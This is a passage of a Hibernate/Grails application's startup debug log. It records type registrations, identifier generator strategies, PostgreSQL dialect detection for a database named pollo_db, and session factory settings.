15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration boolean -\u003e org.hibernate.type.BooleanType@1df3f15a 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Boolean -\u003e org.hibernate.type.BooleanType@1df3f15a 2024-04-16 15:26:44.425 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration numeric_boolean -\u003e org.hibernate.type.NumericBooleanType@4350a220 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration true_false -\u003e org.hibernate.type.TrueFalseType@779de27c 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration yes_no -\u003e org.hibernate.type.YesNoType@7f1ecbcb 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte -\u003e org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte -\u003e org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.426 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Byte -\u003e org.hibernate.type.ByteType@73a3f507 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration character -\u003e org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration char -\u003e org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Character -\u003e org.hibernate.type.CharacterType@1c61a208 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration short -\u003e org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration short -\u003e org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Short -\u003e org.hibernate.type.ShortType@5794d988 2024-04-16 15:26:44.427 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration integer -\u003e org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration int -\u003e org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Integer -\u003e org.hibernate.type.IntegerType@2037059f 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration long -\u003e org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration long -\u003e org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Long -\u003e org.hibernate.type.LongType@65f033bd 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration float -\u003e org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration float -\u003e org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.428 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Float -\u003e org.hibernate.type.FloatType@36360aab 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration double -\u003e org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration double -\u003e org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Double -\u003e org.hibernate.type.DoubleType@461a4e31 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration big_decimal -\u003e org.hibernate.type.BigDecimalType@39ab49b9 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.math.BigDecimal -\u003e org.hibernate.type.BigDecimalType@39ab49b9 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration big_integer -\u003e org.hibernate.type.BigIntegerType@23f0d192 2024-04-16 15:26:44.429 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.math.BigInteger -\u003e org.hibernate.type.BigIntegerType@23f0d192 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration string -\u003e org.hibernate.type.StringType@389ae3fe 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.String -\u003e org.hibernate.type.StringType@389ae3fe 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration nstring -\u003e org.hibernate.type.StringNVarcharType@2f8c5f32 2024-04-16 15:26:44.430 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ncharacter -\u003e org.hibernate.type.CharacterNCharType@1fad72eb 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration url -\u003e org.hibernate.type.UrlType@62770b5 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.net.URL -\u003e org.hibernate.type.UrlType@62770b5 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Duration -\u003e org.hibernate.type.DurationType@1a2bb393 2024-04-16 15:26:44.431 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.Duration -\u003e org.hibernate.type.DurationType@1a2bb393 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Instant -\u003e org.hibernate.type.InstantType@5be0b90e 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.Instant -\u003e org.hibernate.type.InstantType@5be0b90e 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalDateTime -\u003e org.hibernate.type.LocalDateTimeType@69682a97 2024-04-16 15:26:44.432 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalDateTime -\u003e org.hibernate.type.LocalDateTimeType@69682a97 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalDate -\u003e org.hibernate.type.LocalDateType@4f74871 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalDate -\u003e org.hibernate.type.LocalDateType@4f74871 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration LocalTime -\u003e org.hibernate.type.LocalTimeType@41915df4 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.LocalTime -\u003e org.hibernate.type.LocalTimeType@41915df4 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration OffsetDateTime -\u003e org.hibernate.type.OffsetDateTimeType@5fe63175 2024-04-16 15:26:44.433 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.OffsetDateTime -\u003e org.hibernate.type.OffsetDateTimeType@5fe63175 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration OffsetTime -\u003e org.hibernate.type.OffsetTimeType@785e70db 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.OffsetTime -\u003e org.hibernate.type.OffsetTimeType@785e70db 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ZonedDateTime -\u003e org.hibernate.type.ZonedDateTimeType@3c039eec 2024-04-16 15:26:44.434 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.time.ZonedDateTime -\u003e org.hibernate.type.ZonedDateTimeType@3c039eec 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration date -\u003e org.hibernate.type.DateType@726961d3 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Date -\u003e org.hibernate.type.DateType@726961d3 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration time -\u003e org.hibernate.type.TimeType@13e0d17a 2024-04-16 15:26:44.435 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Time -\u003e org.hibernate.type.TimeType@13e0d17a 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration timestamp -\u003e org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Timestamp -\u003e org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Date -\u003e org.hibernate.type.TimestampType@785acf76 2024-04-16 15:26:44.436 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration dbtimestamp -\u003e org.hibernate.type.DbTimestampType@3954c0e6 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar -\u003e org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Calendar -\u003e org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.GregorianCalendar -\u003e org.hibernate.type.CalendarType@2000dbef 2024-04-16 15:26:44.437 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar_date -\u003e org.hibernate.type.CalendarDateType@96a60c 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration calendar_time -\u003e org.hibernate.type.CalendarTimeType@1bee8e09 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration locale -\u003e org.hibernate.type.LocaleType@6f663037 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Locale -\u003e org.hibernate.type.LocaleType@6f663037 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration currency -\u003e org.hibernate.type.CurrencyType@708d162d 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.Currency -\u003e org.hibernate.type.CurrencyType@708d162d 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration timezone -\u003e org.hibernate.type.TimeZoneType@328928fa 2024-04-16 15:26:44.438 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.TimeZone -\u003e org.hibernate.type.TimeZoneType@328928fa 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration class -\u003e org.hibernate.type.ClassType@4ade2349 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Class -\u003e org.hibernate.type.ClassType@4ade2349 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration uuid-binary -\u003e org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.UUID -\u003e org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.439 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration uuid-char -\u003e org.hibernate.type.UUIDCharType@1179d76f 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration binary -\u003e org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration byte[] -\u003e org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [B -\u003e org.hibernate.type.BinaryType@11966c5 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration wrapper-binary -\u003e org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Byte[] -\u003e org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [Ljava.lang.Byte; -\u003e org.hibernate.type.WrapperBinaryType@13e2cb69 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration row_version -\u003e org.hibernate.type.RowVersionType@3a81ba54 2024-04-16 15:26:44.440 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration image -\u003e org.hibernate.type.ImageType@3dab33e0 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration characters -\u003e org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration char[] -\u003e org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [C -\u003e org.hibernate.type.CharArrayType@691a5aed 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration wrapper-characters -\u003e org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration [Ljava.lang.Character; -\u003e org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration Character[] -\u003e org.hibernate.type.CharacterArrayType@7aedb88f 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration text -\u003e org.hibernate.type.TextType@1ce28f49 2024-04-16 15:26:44.441 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration ntext -\u003e org.hibernate.type.NTextType@5cad8530 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration blob -\u003e org.hibernate.type.BlobType@2d9827a0 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Blob -\u003e org.hibernate.type.BlobType@2d9827a0 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_blob -\u003e org.hibernate.type.MaterializedBlobType@7368903f 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration clob -\u003e org.hibernate.type.ClobType@92c7208 2024-04-16 15:26:44.442 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.Clob -\u003e org.hibernate.type.ClobType@92c7208 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration nclob -\u003e org.hibernate.type.NClobType@32a2b068 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.sql.NClob -\u003e org.hibernate.type.NClobType@32a2b068 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_clob -\u003e org.hibernate.type.MaterializedClobType@78d5dc0a 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration materialized_nclob -\u003e org.hibernate.type.MaterializedNClobType@6a4ce05c 2024-04-16 15:26:44.443 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration serializable -\u003e org.hibernate.type.SerializableType@1069c727 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration object -\u003e org.hibernate.type.ObjectType@3054f8f7 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.lang.Object -\u003e org.hibernate.type.ObjectType@3054f8f7 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_date -\u003e org.hibernate.type.AdaptedImmutableType@3c558cab 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_time -\u003e org.hibernate.type.AdaptedImmutableType@30b5af0e 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_timestamp -\u003e org.hibernate.type.AdaptedImmutableType@395c896 2024-04-16 15:26:44.444 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_dbtimestamp -\u003e org.hibernate.type.AdaptedImmutableType@2236b0e8 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_calendar -\u003e org.hibernate.type.AdaptedImmutableType@329650d1 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_calendar_date -\u003e org.hibernate.type.AdaptedImmutableType@2fc65452 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_binary -\u003e org.hibernate.type.AdaptedImmutableType@23af844 2024-04-16 15:26:44.445 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration imm_serializable -\u003e org.hibernate.type.AdaptedImmutableType@151cb91b 2024-04-16 15:26:44.446 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.boot.cfgxml.spi.CfgXmlAccessService] 2024-04-16 15:26:44.453 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.id.factory.spi.MutableIdentifierGeneratorFactory] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid2] -\u003e [org.hibernate.id.UUIDGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [guid] -\u003e [org.hibernate.id.GUIDGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid] -\u003e [org.hibernate.id.UUIDHexGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [uuid.hex] -\u003e [org.hibernate.id.UUIDHexGenerator] 2024-04-16 15:26:44.453 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [assigned] -\u003e [org.hibernate.id.Assigned] 2024-04-16 15:26:44.454 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [identity] -\u003e [org.hibernate.id.IdentityGenerator] 2024-04-16 15:26:44.454 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [select] -\u003e [org.hibernate.id.SelectGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [sequence] -\u003e [org.hibernate.id.enhanced.SequenceStyleGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [seqhilo] -\u003e [org.hibernate.id.SequenceHiLoGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [increment] -\u003e [org.hibernate.id.IncrementGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [foreign] -\u003e [org.hibernate.id.ForeignGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [sequence-identity] -\u003e [org.hibernate.id.SequenceIdentityGenerator] 2024-04-16 15:26:44.455 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [enhanced-sequence] -\u003e [org.hibernate.id.enhanced.SequenceStyleGenerator] 2024-04-16 15:26:44.456 DEBUG --- [ restartedMain] .i.f.i.DefaultIdentifierGeneratorFactory : Registering IdentifierGenerator strategy [enhanced-table] -\u003e [org.hibernate.id.enhanced.TableGenerator] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.env.spi.JdbcEnvironment] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.dialect.spi.DialectFactory] 2024-04-16 15:26:44.456 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.dialect.spi.DialectResolver] 2024-04-16 15:26:44.457 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.connections.spi.ConnectionProvider] 2024-04-16 15:26:44.457 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jndi.spi.JndiService] 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : Database -\u003e name : PostgreSQL version : 14.11 major : 14 minor : 11 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : Driver -\u003e name : PostgreSQL JDBC Driver version : 42.6.0 major : 42 minor : 6 2024-04-16 15:26:44.462 DEBUG --- [ restartedMain] o.h.e.j.e.i.JdbcEnvironmentInitiator : JDBC version : 4.2 2024-04-16 15:26:44.463 INFO --- [ restartedMain] org.hibernate.dialect.Dialect : HHH000400: Using dialect: org.hibernate.dialect.PostgreSQL10Dialect 2024-04-16 15:26:44.468 DEBUG --- [ restartedMain] o.h.e.j.env.spi.IdentifierHelperBuilder : JDBC driver metadata reported database stores quoted identifiers in neither upper, lower nor mixed case 2024-04-16 15:26:44.471 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [pollo_db] 2024-04-16 15:26:44.471 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [public] 2024-04-16 15:26:44.472 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.resource.beans.spi.ManagedBeanRegistry] 2024-04-16 15:26:44.473 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.jdbc.spi.JdbcServices] 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration pg-uuid -\u003e org.hibernate.type.PostgresUUIDType@be39cbf 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : Adding type registration java.util.UUID -\u003e org.hibernate.type.PostgresUUIDType@be39cbf 2024-04-16 15:26:44.475 DEBUG --- [ restartedMain] org.hibernate.type.BasicTypeRegistry : HHH000270: Type registration [java.util.UUID] overrides previous : org.hibernate.type.UUIDBinaryType@35988c46 2024-04-16 15:26:44.476 DEBUG --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Scoping TypeConfiguration [org.hibernate.type.spi.TypeConfiguration@55e7045a] to MetadataBuildingContext [org.hibernate.boot.internal.MetadataBuildingContextRootImpl@192dab09] 2024-04-16 15:26:44.479 DEBUG --- [ restartedMain] o.h.boot.model.relational.Namespace : Created database namespace [logicalName=Name{catalog=null, schema=null}, physicalName=Name{catalog=null, schema=null}] 2024-04-16 15:26:44.482 TRACE --- [ restartedMain] o.h.b.m.p.spi.MetadataBuildingProcess : Calling MetadataContributor : org.grails.orm.hibernate.cfg.GrailsDomainBinder@1cc53713 2024-04-16 15:26:44.483 TRACE --- [ restartedMain] o.h.b.i.InFlightMetadataCollectorImpl : Import: Test1 -\u003e work.pollochang.Test1 2024-04-16 15:26:44.483 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [test1] 2024-04-16 15:26:44.486 DEBUG --- [ restartedMain] org.hibernate.mapping.PrimaryKey : Forcing column [id] to be non-null as it is part of the primary key for table [test1] 2024-04-16 15:26:44.488 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.boot.spi.SessionFactoryBuilderService] 2024-04-16 15:26:44.498 TRACE --- [ restartedMain] org.hibernate.loader.BatchFetchStyle : Interpreting BatchFetchStyle from setting : null 2024-04-16 15:26:44.500 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.bytecode.spi.BytecodeProvider] 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Building session factory 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : SessionFactory name : null 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic flush during beforeCompletion(): enabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic session close at end of transaction: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Statistics: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Deleted entity synthetic identifier rollback: disabled 2024-04-16 15:26:44.503 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default entity-mode: pojo 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Check Nullability in Core (should be disabled when Bean Validation is on): enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Allow initialization of lazy state outside session : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Using BatchFetchStyle : LEGACY 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default batch fetch size: -1 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Maximum outer join fetch depth: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Default null ordering: NONE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Order SQL updates by primary key: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Order SQL inserts for batching: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : multi-tenancy strategy : NONE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JTA Track by Thread: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Query language substitutions: {} 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Named query checking : enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] 